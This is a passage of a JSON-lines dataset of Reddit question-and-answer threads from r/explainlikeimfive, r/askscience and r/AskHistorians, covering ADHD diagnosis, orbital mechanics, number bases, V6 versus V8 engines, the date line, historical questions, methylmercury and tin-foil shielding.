most children do have ADHD behaviours and it can be really hard to know whether it's age related or ADHD related, but when you get older (teenager and older) if those behaviours are still there and interfering with your life, then that's a sign that they could be ADHD.\n\n & #x200B;\n\nThere wan't really a physical exam or blood test, he just checked my blood pressure and asked a few health questions before prescribing medication (which I didn't like anyway and ended up getting referred to monthly sessions with a psychologist who specialises in therapy to cope with ADHD).", "I was always told I likely had ADHD as a child in school, but didn't take any sort of test as my grades never really suffered until college. After I completed college I took a test at a psychiatrist's office. It went a little like this:  \n\n\nI was asked several questions with my parents present, and we both gave answers. Things about hyperactivity, hyper focus, and how severe these things were affecting other aspects of my life. Some had to do with sleep patterns, and some to do with work efficiency, multi-tasking, etc. After asking both me and my parents these questions, the psychiatrist dismissed my parents and had some memory tests. These were things like listing a series of numbers and then asking me to recall them, sometimes with breaks with other questions in between hearing the series of numbers and having to repeat them.   \n\n\nThen they sat me down for two written tests that were mostly questions like those posed to me and my parents, some with ratings of 1 to 5 like how severely things like work/school/sleep/emotions have been disruptive or difficult for me. Mostly multiple choice, but the tests themselves took like 2 hours. I was thinking for a bit that that was part of the test and if I \"cracked\" and left or stopped working I would be diagnosed right then and there but I made my way through the tests in decent time and was then diagnosed with ADD. They said they avoided the ADHD as I definitely mellowed out in adulthood as compared to my hyperactivity as a child. The tests also can identify things like anxiety disorders, depression, and some others, and I got some score indicating some anxiety issues, but nothing more than ADD and some minor anxiety problems.   \n\n\nI personally think the diagnosis was a long time coming but I am still unsure how I feel about medication. I was on some for a while and ended up stopping. I was nothing strong like Adderall, and I didn't feel much difference. But that's not what you asked so I'll wrap it up here"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://adhd-institute.com/assessment-diagnosis/diagnosis/"], [], [], [], [], [], [], ["https://www.psymplicity.com/adhd-add-diagnosis-london", "www.psymplicity.com"], []]}
{"q_id": "7813wm", "title": "Do hikers/climbers/skiiers in the Alps still find soldiers/artifacts from Hannibal's army?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7813wm/do_hikersclimbersskiiers_in_the_alps_still_find/", "answers": {"a_id": ["dorj3cn"], "score": [13], "text": ["Additional questions:\n\nHave there been any significant discoveries in the Alps of Hannibal\u2019s Army?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8r1iad", "title": "Is there a stable solution of n-body orbits in 3D where one body is significantly smaller than the rest?", "selftext": "This question was brought on by the recent question about 6 blackholes arranged in a cube, which had some obvious problems, but it got me thinking about wether you could have a stable multibody orbit like a stable Plummer sphere as shown here: _URL_1_ with all the bodies bar 1 being blackholes, and the final body being a human or a spaceship. If the Plummer sphere problem has too much abstraction to be accurate, what about a 3 body solution? or a 4? and so on? I've found what appear to be stable 3 body solutions, including the famous figure 8: _URL_0_. But i would not be able to approach finding a solution with the parameters i'm asking for.\n\nEdit: It\u2019s been pointed out that I\u2019ve conflated the meaning of periodic and stable.\nIn terms of this question a periodic solution would satiate me, a stable solution or any comment on the possibility of one would be worth gold", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8r1iad/is_there_a_stable_solution_of_nbody_orbits_in_3d/", "answers": {"a_id": ["e0o8y26", "e0o9i6z", "e0oyvlf"], "score": [8, 3, 6], "text": ["If you meant in 3D, as in, non-trival solutions, I don't have a response. However, there is a stable but trivial n-body system of the masses arranged in any collinear orientation, and with rotation around the center of mass.", "In Larry Niven's science fiction he had a number of cases of a Kemplerer Rosette: multiple bodies equally spaced orbiting around their common center of gravity. Niven was a CalTech drop out and maintained relationships with a number of CalTechies who went on to work at JPL. The villain in one of his short stories was named after one of them, Robert Forward. I've read that he got a lot of his SciFi concepts from drinking beer and talking science with the JPL people. Pretty sure the Kemplerer Rosette was one of those. Never saw whether it requires all the bodies to have equal mass, but it seems like it likely would. ", "You might want to read about lagrange points, where objects can hold their relative position in relation to two other more massive objects. Of the 5 lagrange points in a 2 body system, 2 are stable.\n\n[_URL_1_](_URL_0_)\n\n  \n\n\nIn addition to the lagrange points made by the sun earth system, the earth moon system also has it's own lagrange points, thus allowing for stable orbits of small objects in 2 of those lagrange points."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=jKvnn1r-9Iw", "https://www.youtube.com/watch?v=ywgoXuVe33s"], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Lagrangian_point", "https://en.m.wikipedia.org/wiki/Lagrangian\\_point"]]}
{"q_id": "4dmztz", "title": "Is there a binary number which can be represented perfectly, where it cannot be represented perfectly in a decimal form?", "selftext": "There are certain fractions which cannot be represented using a finite amount of digits. For example, 1/3 = 0.33333..... We can never truly represent 1/3 as a decimal with a finite number of digits.\n\nSimilarly, there are certain numbers which cannot be represented perfectly in binary - 1/3 is one of these numbers. However, 0.1 is also one of these numbers. You can never correctly represent 1 tenth in binary with a finite number of digits, even though you CAN in base 10.\n\nAre there any numbers which can be represented in binary, but cannot be represented in denary? If not, why not? I've tried to think of an example but can't, and it's a toughie to google too.\n\nMy guess is that there are no such numbers, because all binary numbers can be made up by adding together the fractions 1/(2^n) depending on the place of the current digit.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4dmztz/is_there_a_binary_number_which_can_be_represented/", "answers": {"a_id": ["d1sh9rm"], "score": [39], "text": ["If a number can be represented with finite digit in base b, it has to be of the form k/b^n for some integer k and n. Right? Because if it has n digits after the point, you multiply it by b^n (which equals shifting all digits left by n) and you get an integer, which is k.\n\nSo you want a number of the form a/2^(n), but not of the form b/10^(m).\n\nBut you just do\n\nYour number = a/2^n = (5^n a)/(5^n 2^(n)) = b/10^n\n\nAfter defining b = 5^(n) * a. \n\nSo all number with a finite expansion in base 2 also have a finite expansion in base 10.\n\nThis in general holds if the first base divides the second.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f82wut", "title": "why humans running with feet are faster than using both feet and hands when four legged animals are usually faster?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f82wut/eli5_why_humans_running_with_feet_are_faster_than/", "answers": {"a_id": ["fiioezx", "fiiqekp", "fijeswb"], "score": [4, 26, 2], "text": ["Humans are not faster than animals, at least not most animals.\n\nHumans are more efficient than animals.  Humans can run fast enough to keep the animal they are chasing running until it collapses.  That was the original human hunting technique; find a tasty animal and chase it, hopefully in circles, hopefully alternating with other members of the tribe, until the animal collapsed - then run up and kill it with a spear.", "Because our bodies are not shaped to move around using our feet and hands like a 4-legged animal. We evolved to be bipedal, which means we stand upright and walk on 2 feet, and our bodies have evolved to be walk in this way. Our skeleton is not arranged in way that benefits walking on all 4s. The bones in are arms and legs are the wrong lengths, and our pelvis and spine is the wrong shape,. Our muscles are also not the right size or shape or arrangement to walk on all 4s. Take a look at [this image](_URL_0_) to compare a human skeleton to one of a gorilla, and you can see how different they are, and how gorillas are optimized for walking on all 4s while we are not.\n\nYou can even try it at home. Try bending over so that your hands and feet are all on the ground at the same time. It feels super awkward and uncomfortable to even stand there, right? Now imagine walking or running like that. You'd hurt yourself very quickly because you'd be moving your body in a way that it was never meant to.", "We can\u2019t run on all fours effectively because of the geometry of our hips and our shoulders. We\u2019ve evolved to walk bipedally and use our hands for other tasks, typically ones involving tools. The trade off for us is that we lost the ability to run on all fours effectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.britannica.com/science/bipedalism"], []]}
{"q_id": "22zc33", "title": "why do we pat things when we want domestic animals to come to us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22zc33/eli5_why_do_we_pat_things_when_we_want_domestic/", "answers": {"a_id": ["cgrxw5x"], "score": [3], "text": ["They like being petted, which often involves people patting them (as a prelude to feeding them), so they calculate it's worth checking out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6kp0hb", "title": "what is the difference between a v6 and a v8 engine with the same volume?", "selftext": "Besides the amount of pistons.\n\nFor example, if I have a 4.0l v6 and a 4.0l v8 engine made from the same manufacturers, same materials etc. is there any difference between the two engines? Are there any advantages or disadvantages to having an engine with 8 pistons, to having an engine with 6 slightly larger pistons to give the same volume?\n\nEdit* Just to \"ELI5\" my question, the v6 means the engine has 6 pistons, and v8 means the engine has 8 pistons. The volume in that relation, unless I have been lied to my whole life, is the total combined volume of all the pistons when pulled all the way back. Correct me if I'm wrong but a 6 piston engine has 0.66 liters of volume in each piston (4l/6pistons), and an 8 piston engine has 0.5 liters of volume in each piston (4/8).", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6kp0hb/eli5_what_is_the_difference_between_a_v6_and_a_v8/", "answers": {"a_id": ["djnozqj", "djnp8js", "djnr10p", "djnta4l", "djnuk5u", "djnuqqd", "djnw6xa", "djo930r", "djobdpq", "djodhmw", "djohxr5", "djok8mc"], "score": [16, 275, 2, 2, 8533, 31, 149, 51, 102, 5, 4, 8], "text": ["Bore (how wide each cylinder is) and stroke (how tall the height of the piston travel) determine the size of the cylinder. Bigger cylinders have higher volume to surface area, ideally leading to lower weight than smaller cylinders, but also taller stroke so the piston can't travel as quickly, leading to lower RPM. I think most sports cars have engines that are about square or oversquare, meaning stroke is equal to or less than the bore.  Economy and mass market cars almost always are undersquare, so stroke is greater than bore. ", "Hi there, assuming both engines are 4-cycle type, one difference is that the 8 cylinder engine will have 8 power cycles (8 power output pulses) per 2 rotations of the crank vs. 6 with the 6-cylinder engine. With all other things equal this would mean the power delivery is smoother. Luxury cars tend (especially in older days) have more cylinders to get the smoothest output possible - sometimes up to 16 cylinders! The torque curve (torque output vs. RPM) would likely be broader with the 8-cylinder engine again as it has more power pulses per rotation. \n\nSo more cylinders for a given volume does have advantages, but also disadvantages - namely added complexity and cost. Adding 2 more cylinders doesn't sound like a lot, but that's more crank to spin, 2 more connecting rods and pistons, at least 2 more injectors, these days 2 more ignition coils etc. \n\nSo if you are a car company you might stick with lower cylinder count to get costs down, and potentially have better reliability with the reduction in complexity.", "If we look at F1.  \nMore pistons:  \n+ Increases Power (having little bit more torque at the same RPM).  \n- Reliability  \n- Fuel consumption  \nIn the end less pistons won because less power consumption meant having less fuel (weight) on board and the V12 was dead.\n", "Bigger cylinders means more torque, but more mass is moving in each cylinder, so for the same materials, you have to operate at lower RPMs. The larger V6 would be more suited for low RPM applications, such as towing, or used in electric power generation. Applications where one might think of using diesel engines. ", "Credit to u/semaph0r3:\n\nEdit:\nLots of people asking for ELI5 of ELI5, so here goes:\nEngines, like all engineering, is an exercise in compromises.  You need to balance a whole bunch of factors to get a solution that meets the result.  In engines, there's a whole bunch of factors, but for most purposes, you can focus on these:\n1. An engine needs to make sufficient power to move the vehicle\n2. An engine needs to balance out all the vibrations inherent in the spinning and shaking that's going on.  If you don't manage this, eventually the engine shakes itself apart.\n3. The engine needs to fit inside the vehicle (and, for performance applications, be located in a way that maximizes the handling characteristics of the car).\n4. The engine needs to consume only so much fuel.\n\nA V8 engine handles all 4 of these in a nicely balanced way: its not really good at any one of the 4, but its 'good enough' to make it one of the best overall engine layouts.  It also sounds sexy as hell.\n\n-----\n\nThe cylinder configuration of an engine has effects on two major factors, the smoothness / vibration, and the 'packaging' or sizing / shape / how it fits in the car.  Cylinder count has nothing to do with power, typically - that has to do with displacement, flow of the heads, shape of the combustion chamber, cylinder pressure, compression, ignition timing, and a ton of other factors.  Up until 2013, F1 used 2.4L engines that were V8s, a size commonly set up as an I4 in commercial vehicles.\n\nV8s come in two major flavors; flat plane and cross plane cranks, which describe how the pistons connect to the crankshaft.  Cross plane V8s (where if you look edge-on the crankshaft looks like a cross) sit at a sweet spot of packaging - its only 4 cylinders deep so it can fit under hoods easily, but can pack a large engine displacement in a nicely sized cube while being vibrationally balanced.  They do limit RPMs a bit though because of the cross plane balancing adds rotational mass, so high performance / racing V8s tend to go with flat plane cranks.\n\nV6s have even better packaging, but are unbalanced vibrationally, forcing a tradeoff of longevity vs power.  Most commercial solutions favor the longevity side of the equation, so most people's perception of a V6 is an uninspiring motor.  It doesn't have to be, but a V6 that outputs a ton of power is also an engine about to shake itself to bits.\n\nInline 4s have excellent packaging as well but are also terribly balanced, often requiring an extra shaft to keep the engine even remotely smooth, so power output is very weak. But because of the small size they can still rev well, so they're used where engine efficiency is more important than broad performance.\n\nInline 6s are better than V8s and basically every other engine at power delivery and smoothness (its why BMW uses them) but packaging them is really hard because they're very long and practically require rear wheel drive.  If what you care about is performance of an engine and no other considerations, you want an inline 6 or its bigger brother, a v12 (which is two I6s working together, so butter smooth).\n\nHorizontally opposed engines (Subaru, Porsche) are balanced and have near perfect behavior internally, but are a total bitch to package.  Subaru's understeer is a result of having to hang the engine really far out in front of the wheels to make room for AWD.  Older Porsches have a reputation as Widow Makers due to the engine hanging far out the back of the car causing oversteer.\n\nFlat plane V8s have lower rotational mass so they rev higher and generally produce more power, but lose some of the V8 engine balancing.  These are used in higher performance engines (Ferrari uses this layout, as well as the new Ford GT350) but require more maintenance and tend to have shorter effective lives.\n\nV10s are used in some applications and have some benefits, but its mostly a 'I have a bigger number than you' sort of thing.\n\nSo why are V8s so popular?  They're the 'poor man's performance' engine: cross plane V8s sit at a great intersection of balanced engine, packaging, and RPM potential.  They're not great at all 3, mind: in fact, far from.  But if what you're looking for is everyman's performance, cross plane V8 will fit in anything and deliver great performance, while not costing too much.\n\nThere are some misconceptions that are common: low RPM torque is one of them.  The V8 configuration has nothing to do with that - it has everything to do with the tuning of the engine with respect to camshaft profile and flow.  Racing configured engines focueds on high RPM performance tend to have really poor low RPM performance, and small I4 engines can have lower RPM torgue with turbos or by camming them down, but their peak will then suffer as a result and be even more boring.\n\nThe desirability of V8s in car culture has to do with the accessibility of power at the V8 configuration. Because of the factors above, the most big engine cars commercially made tend to stick with the V8 configuration due to its ease of packaging.  Car culture then connected power to V8, even though that isn't the cause. Additionally, cross plane V8s have a sound that is very distinct and to my ears absolutely sexy, though the purr of an I6 or flat 6 is equally sexy to me as well.\n\n---- \nA lot of other questions.  Yeah, the VR6 is worth a mention, so are Wankels, as well as I5s.  All really cool solutions to interesting problems.  A lot of those things have been addressed but one thing wasn't: what actually determines whether or not an engine performs well?\n\nThink about a bike.  You have the easiest time pushing on the pedal when it is rotated out at 90 degrees, so the pedal arm is parallel to the ground.  Another example of this is its hardest to do the bicep curl when your arm is parallel - >  gravity has the best lever on your muscle at that point.  A piston is the same: the goal is to get the peak combustion pressure on the piston as its descending right around when the crank is rotated 90 degrees.   The problem is the engine spins at a range of speeds, and so it takes different amounts of time for the flame to reach the piston.  A ton of factors go into this, and its all about balancing these issues to get an engine to perform the way you need for that solution:\n\nA long stroke forces the flame to travel further, meaning its easier to get it to strike the piston head correctly at low engine speeds.  At high engine speeds, the piston is moving away from the flame very fast and its hard to get it to reach peak pressure at the optimal time.  A short stroke, wide bore has a shorter distance to travel so the flame front impacts the piston best at high speeds - at low speeds you need to hold ignition until really late.\n\nThe more metal turning, the more force it takes to turn it.  Reducing the amount of mass in rotation and the total surface area in contact allows more of the energy to be used for moving the vehicle, yielding fuel economy and power gains.  If done improperly or over-zealously, removing mass will reduce the lifecycle of the engine.\n\nThe engine needs to 'flow' well, or allow air in and out at the right times.  The cycle of a cylinder happens really fast, and in that period of time all the air for combustion needs to get in, injected, compressed, and ignited.  Getting that cylinder packed with as much air as possible allows more fuel to be dumped in, giving more power.\n\nEverything that moves needs to have a counter-movement somewhere else.   This is to handle those vibrations.\n\nI can go on and on. I love engines.", "The reason that engines with more cylinders, all other things being equal, traditionally make more power than engines with fewer cylinders (and a little less torque, and all at higher engine-speeds) is that engines with smaller pistons and shorter strokes (so engines of equal displacement but with more cylinders) can go faster, and so process more fuel, and so produce more power, for the same overall displacement. This is for three reasons:\n\n1. engines with smaller cylinders have lower reciprocating mass in each cylinder, so they deal with smaller forces reversing the direction of travel of the piston / con-rod / crankshaft / valves at a given speed (in rpms)\n\n2. engines with smaller cylinders tend to have shorter strokes, so the maximum practical velocity of a piston is reached at a higher engine speed.\n\n3. engines with smaller cylinders can burn a fuel charge faster, since the flame inside the cylinder does not have to travel as far.", "The answer is the surface area to volume ratio.  When you make lots of smaller cylinders versus fewer large ones, you are creating more surface area per given volume.  This has the effect of more effective cylinder aspiration per capacity and rpm, which means youre spending less energy in getting air in and out, so more power heads out the crankshaft instead.\n\nAnother big advantage is that smaller cylinders have higher rev limits.  It is (a little bit) easier to make power by spinning faster over other methods like forced induction.", "For what it's worth, a 4.0L V8 will be able to rev higher than a 4.0L V6. That's because the per piston displacement is lower on the V8, in this case, 0.5L/piston, and the V6 would come in at 0.66L/piston. What this means is the V8 will have a smaller bore/smaller piston and a smaller stroke. This means less rotating mass and, with the shorter stroke, less movement of the piston. This means this specific 4.0L V8 would be able to rev higher without stressing the crankshaft and connecting rods. The balance (as others have mentioned) is an added perk.  \n\nYou'll see this come into play: for example, Porsche used a 4.5L V8 in the Cayenne introduced back in the early 2000s. General Motors (Pontiac) had a 3.8 L V6. Even though the Porsche is a larger motor, they were able to get the engine to redline at 6,500 RPM, whereas General Motors accomplished only 6,000 RPM out of their V6. There are some other considerations that play into that outcome, but the displacement of each cylinder is no small part of that difference. ", "Think of it like a rowboat, where each person rows one after the other. One boat has 6 stronger guys rowing, and the other has 8 weaker guys. But their combined strength is equal.\n\nSo if you're pulling something heavy, fewer stronger guys is better. If you are pulling something light and want to accelerate quickly, then more rowers is better.", "Ford had a 300 cubic inch inline 6 and a 302 cubic inch V-8 for many years. The 6 had a 4\" bore and 3.98\" stroke. The 8 had a 4\" bore and 3\" stroke. Same bore in both engines, but the 6 had a longer stroke to make up the same volume.\n\nOne big difference between 6 and 8 cylinder engines of equal displacement is that the 8 has more valves. Since maximum valve size is restricted by bore size, and since the 2 engines have the same bore, the maximum valve size is the same in the 6 and 8 engines in this example. \n\nMore valve area (because of more valves) = more airflow.\nMore airflow = more power.\n", "The biggest difference is cylinder size.\n\nFirst off:\n\nPiston= the part of the engine that moves up and down\nCylinder= the tube the piston moves in.\nRevs= revolutions per minute.\nRedline= the maximum revolutions per minute.\nBore= the width measured across the piston.\nStroke= how far the piston moves.\nPower= how fast the wheels turn.\nTorque=how hard the car pushes.\n\nA 4l engine has 6x667cm\u00b3 cylinders as a V6, or 8x500cm\u00b3 cylinders as a V8.\n\nFor an engine of roughly the same physical size and design, the V8 engine will rev harder, and have more power due to a higher redline, but less torque.\n\nThe reason behind this is the engines size is defined as bore x stroke x number of cylinders. \n\nA longer stroke generates more torque, at the cost of a lower redline. \n\nA shorter stroke allows a higher redline, and gets to redline faster as the piston does not have to go as far.\n\nA smaller bore piston is lighter, and can rev faster, but must have smaller valves, which means less air.\n\nA smaller cylinder size must have either a shorter stroke, a smaller bore or both. \n\nThe design choice is usually a shorter stroke, which gives a sportier engine, that revs fast and hard.", "Lots of terrible and incorrect bullshit in here, but maybe if I don't get buried I can clear it up:\n\nFirst of all, you can't really explain it like you're five.  Understanding an engine completely basically takes a mechanical engineering degree.  Ironically, your actual mechanic doesn't even understand your engine as much as he would imply he does.  He might know fuel+spark=bang, but I assure that he doesn't even begin to understand the real thermodynamic realities of an engine.\n\nAssuming these engines are designed to be as identical as possible with no additional technology or special techniques between them, the biggest difference would likely be that the V8 would be smoother and possibly more powerful/higher revving due to better fuel/air mixing in the cylinder.  Also, the V8 may have lower fuel economy at cruising engine loads due to frictional losses.\n\nNow, it's tricky to say for sure for this analogy because the change in cylinder size could be bore, stroke, or a combination, so let's assume proportionally scaled cylinders to not skew the analogy.  Having smaller cylinders (but the same total volumetric displacement in total) means you can fill the cylinders with an air/fuel mixture faster, which allows for higher revving without losing the ability to successfully burn the fuel each combustion cycle.  There's also other factors like the camshafts and valves being able to keep up (i.e. valve float), but we'll assume those are \"perfect\" in that regard.  You may also have better low end power as well as even on the low end the ability to efficiently fill and combust in each cylinder will likely produce more power (again, super hard to generalize this much as a true 1:1 V6- > V8 comparison is almost impossible).  Someone made an analogy to strong rowers vs fast rowers or something like that, but honestly that's more akin to comparing a high torque low revving motor vs a low torque high revving motor that output the same horsepower.\n\nSo, why not make every engine a lower displacement V12 instead of of an inline 4 or V6?  Biggest factor: cost.  Second factor: reliability.  Third factor: frictional drivetrain losses.\n\nThe more cylinders you have, the more parts you have to make, inventory, and assemble.  This naturally gets expensive and therefore the fewer cylinders you can use to get the power output you want, the better from a cost standpoint.\n\nRegarding reliability, this is a tricky topic as some will misinterpret it.  In endurance racing, multi-cylinder engines are actually typically *more* reliable because using multiple smaller cylinders means each cylinder is producing less heat and can be more effectively cooled by the cooling system.  It also means that if one cylinder fails in a non-catastrophic way, the car may still be able to continue driving successfully with minimal power losses compared to a car with fewer cylinders.  However, in day-to-day situations, high cylinder count engines mean many more moving parts which introduces more potential points of failure, and it can also be difficult to tune (or, at least used to be back in the carburetor days).  Going back to cost, get ready to open your wallet if you need the spark plugs or other service done as you are multiplying it by many times for that V12.\n\nAs for frictional losses, this goes back to complexity.  You have many more valves, valve springs, cam lobes, connecting rod bearings, etc. all creating frictional losses.  This is why high cylinder count engines tend to have shitty mileage as during low throttle situations there is so much detracting from the power output and therefore requiring more fuel for the same amount of power.  This further encourages companies to try to get the power they want from a 4 or 6 cylinder engine as it means (usually) better fuel economy at cruising power situations, which is where most drivers spend the bulk of their time.\n\nNow, all of this goes out of the window when you bring turbos or superchargers into the equation.  All of the sought after 6 cylinder engines you hear about are durable variants meant for turbocharging, which effectively acts as artificial displacement when the turbo spools and introduces more air into the cylinders each combustion cycle.  A large turbo V6 might act like a V12 with double the displacement when it comes to peak power output, but without the extra engine weight and frictional losses.\n\nStill, all of this said, it's so hard to truly make an apples-to-apples comparison as there would be so many nitty gritty differences between a 4L V6 and a 4L V8 to ever truly compare the two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "6bhf69", "title": "why the international date line is placed where it is, instead of anywhere else.", "selftext": "Is it just because there is not a lot of land present, and only ocean, thus to make it simpler, or is there another explanation. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bhf69/eli5_why_the_international_date_line_is_placed/", "answers": {"a_id": ["dhml0vy", "dhml3cp"], "score": [19, 76], "text": ["It is opposite London/Paris. We just started counting timezones relative to the Royal Observatory in Greenwich. And when we came around the world we ended up with a timezone that was +12h and -12h so there were a change of date there. It just happens that it was a lot of Ocean there but they did not know that by the time they started the system. The actual date line have had to be adjusted a bit to more conveniently fit around islands and peninsulas.", "It's kind of a useful coincidence that it's in the middle of the Pacific where there is not much land.\n\nThe reason it's there is because it's the opposite side of the world to the Prime meridian. And the Prime meridian is where it is because the system was invented by the British, so they put it straight through London.\n\nThe exact international date line isn't entirely straight though. There are some countries in the Pacific which have chosen to have their time zones on the other side of it, so the dateline sort of \"wiggles\" around those countries. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4nvtin", "title": "Is there any truth behind the story of Tamerlane building towers of skulls? If so, what were the logistics of it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4nvtin/is_there_any_truth_behind_the_story_of_tamerlane/", "answers": {"a_id": ["d483ymq"], "score": [8], "text": ["Never heard of a tower, but skull pyramids were a thing.\n\n\"Delhi surrendered on terms, but Timur's troops subjected it to a merciless sack all the same: its inhabitants' heads were collected into pyramids at each of the city's gates...\" [1]\n\nThe logistics of placing skulls into a pyramid shape seem more straightforward.\n\n[1] *The new Penguin atlas of medieval history* by Colin McEvedy, "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "12n16h", "title": "How could the Black Codes become legal after the Civil War?", "selftext": "Why did the North allow such laws, even after abolishing slavery?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12n16h/how_could_the_black_codes_become_legal_after_the/", "answers": {"a_id": ["c6wjjig", "c6wlvgu"], "score": [6, 3], "text": ["Remember that the issue of state's rights was very big. Believe it or not, several prominent ~~Southern~~ proslavery politicians during the Civil War (Stephen Douglas, for example) say they wouldn't mind if the people of individual states voted to end slavery themselves instead of being forced into it by the federal government. Of course this wasn't everyone's mindset, but it wasn't unheard of.\n\nAfter the war, the Union sent troops to the the former Confederacy, making sure the states ratified the 13th, 14th, and 15th amendments, especially allowing blacks to vote. Since they all wanted to be readmitted to the Union, they did, and for a time blacks even held positions of local government in predominantly black communities. The problem for freedmen came in the form of Andrew Johnson.\n\nJohnson was a Democrat who Lincoln had chosen as vice-president to show the South he was willing to compromise. He was never supposed to be President, but after Lincoln's death he was sworn in. As a Southern Democrat who was also a white supremacist, he had no problem allowing the Black codes to be passed. Johnson even vetoed acts by Congress nullifying some of the Black Codes\n\nSo in summary, since the government was so fragmented during Reconstruction, there was no 'Northern' position that was against slavery and for equal rights. Additionally, government intervention was seen as oppressive to state's rights, even when the states were choosing to oppress the newly freed slaves.\n\nSource: Undergraduate history course.", "In addition to what Axon350 mentioned it is important to keep in mind that abolitionists did not all agree on the idea of black equality.  In fact, there is a famous quote from President Lincoln during a debate with Stephen Douglas where he mentioned that he did not support equality between the races (_URL_0_).  \n\nYou can debate the personal position of President Lincoln until you are blue in the face but his comments during that debate in Ottawa, IL express a viewpoint that was widely held in the North in the time leading up to the Civil War.   Basically, whites who opposed slavery were still reluctant or unwilling to grant full equal rights to free blacks\n\nEDIT:  Slaves to free blacks.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://illinoisissues.uis.edu/features/2004Feb/lincoln.html"]]}
{"q_id": "1og4ob", "title": "How does methylmercury enter the food chain?", "selftext": "A recent article in PLOS (_URL_0_) comments on the increased concentration of methylmercury in marine ecosystems, but how does it get there in the first place?  \n\nWhat biological process generates methylmercury and what is the purpose of it?\n\nNote:  If your knowledge is not deeper than the wikipedia page on the issue, please do not answer, we can all read the rather vague wiki page on the subject.\n\n/r/science submission here: \n\n_URL_1_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1og4ob/how_does_methylmercury_enter_the_food_chain/", "answers": {"a_id": ["ccrsm9n", "ccrsmh7"], "score": [13, 7], "text": ["Methylmercury has been shown to be formed by several anaerobic bacteria (Clostridium butyricum, Desulfobulbus propionicus, Desulfovibrio desulfuricans, Desulfococcus multivorans, Desulfobacter sp., Desulfobacterium species) in aquatic anaerobic environments as a result of inorganic mercury deposition. This inorganic mercury comes from our industrialized society, namely combustion of coal and other fossil fuels. It has been proposed that the bacteria listed above methylate the mercury via a methyltransferase (an enzyme that puts a methyl group on elements) in order to prevent the buildup of other toxic mercury compounds. Meanwhile, this methylmercury builds up with the bacteria and is then consumed by plankton, the plankton then eaten by macroinvertebrates, the macros eaten by fish, the fish eaten by bigger fish, and so on. The process of biomagnification (in which a toxic compounds' concentration increases as it climbs through the food chain) causes initially harmless concentrations of a compound to have significant consequences at higher trophic levels. \n\nHeres an example of the process of biomagnification -  _URL_0_\n\nheres the article i used as a reference for the above - _URL_1_", "From: _URL_0_\n\n >  \"It was shown that the gene expression, and in particular the activity of the Acetyl-CoA pathway, was different for the same organism when growing under these different conditions and that the expression of the pathway coincided with the increased methylation in the biofilms. These results appear to confirm the notion that methylation is accidental and not a detoxifying mechanism in these organisms.\"\n >  \n >  \"there is still little concrete information about the microbes responsible for Hg methylation and for the primary factors driving the relative magnitude of this process across ocean basins.\"\n\nThe primary source of methylmercury is the reaction of methylcobalamin with Hg in bacteria that consume organic sediments.  (Methylmercury is generated in lab studies by the reaction of methylcobalamin with elemental mercury.) The methylation does not appear to be for any purpose, and is assumed to be accidental in nature.  Some bacteria are known to use methylmercury as a source of carbon, and reductively or oxidatively demethylated by several bacterial species. \n\nThe standing concentration of methylmercury is determined by the equilibrium concentration between the methylation and demethylation reactions, with a steady state being established relatively quickly in sediments and other organic substrates where Hg is found.\n\nLarger organism consume these smaller bacteria while they have a short lived amount of Hg inside of them, and once it is removed from the demethylating conditions the methylmercury can then bio-accumulate.\n\n"]}, "title_urls": [], "selftext_urls": ["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0058401", "http://www.reddit.com/r/science/comments/1ofjwl/study_links_warmer_water_temperatures_to_greater/"], "answers_urls": [["http://www.youtube.com/watch?v=E5P-UoKLxlA", "http://www.pjoes.com/pdf/12.1/5-13.pdf"], ["http://www.intechopen.com/books/methylation-from-dna-rna-and-histones-to-diseases-and-treatment/the-methylation-of-metals-and-metalloids-in-aquatic-systems"]]}
{"q_id": "xxciu", "title": "How effective is tin foil at blocking radio waves, microwaves etc? (A la the 'tin foil hat' cliche)", "selftext": "People wearing a tin foil hat to block out communications of all kinds has been a cliche for at least fifty years, if not longer. Though I'm sure there's thousands of examples the one that comes to mind is in [Signs](_URL_0_).\n\nI also, while watching the YouTube series 'Is it a Good Idea to Microwave This?' noticed that they used a tin foil shield, allegedly to 'protect their nuts'. So I guess any answer as to tin foil's effectiveness at blocking *any* kind of 'invisible waves' would be neat to know about. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xxciu/how_effective_is_tin_foil_at_blocking_radio_waves/", "answers": {"a_id": ["c5qf0p0", "c5qfxxz", "c5qhexq"], "score": [2, 4, 2], "text": ["Pretty good, actually. You can test it out quite easy - find a portable radio and wrap the antenna in foil. However, you would need to totally surround your head (or nutsack) rather than just wearing it as a hat.\n\nIf fact, if you make a pointy bit it's more likely to act as an antenna than not!", "Well it depends on whether you mean real Tin foil (which is actually relatively difficult to find these days) or whether you mean Aluminium foil, which is a far more common subsitute. [This](_URL_0_) is a study done at the University of Berkeley on the subject and this is the 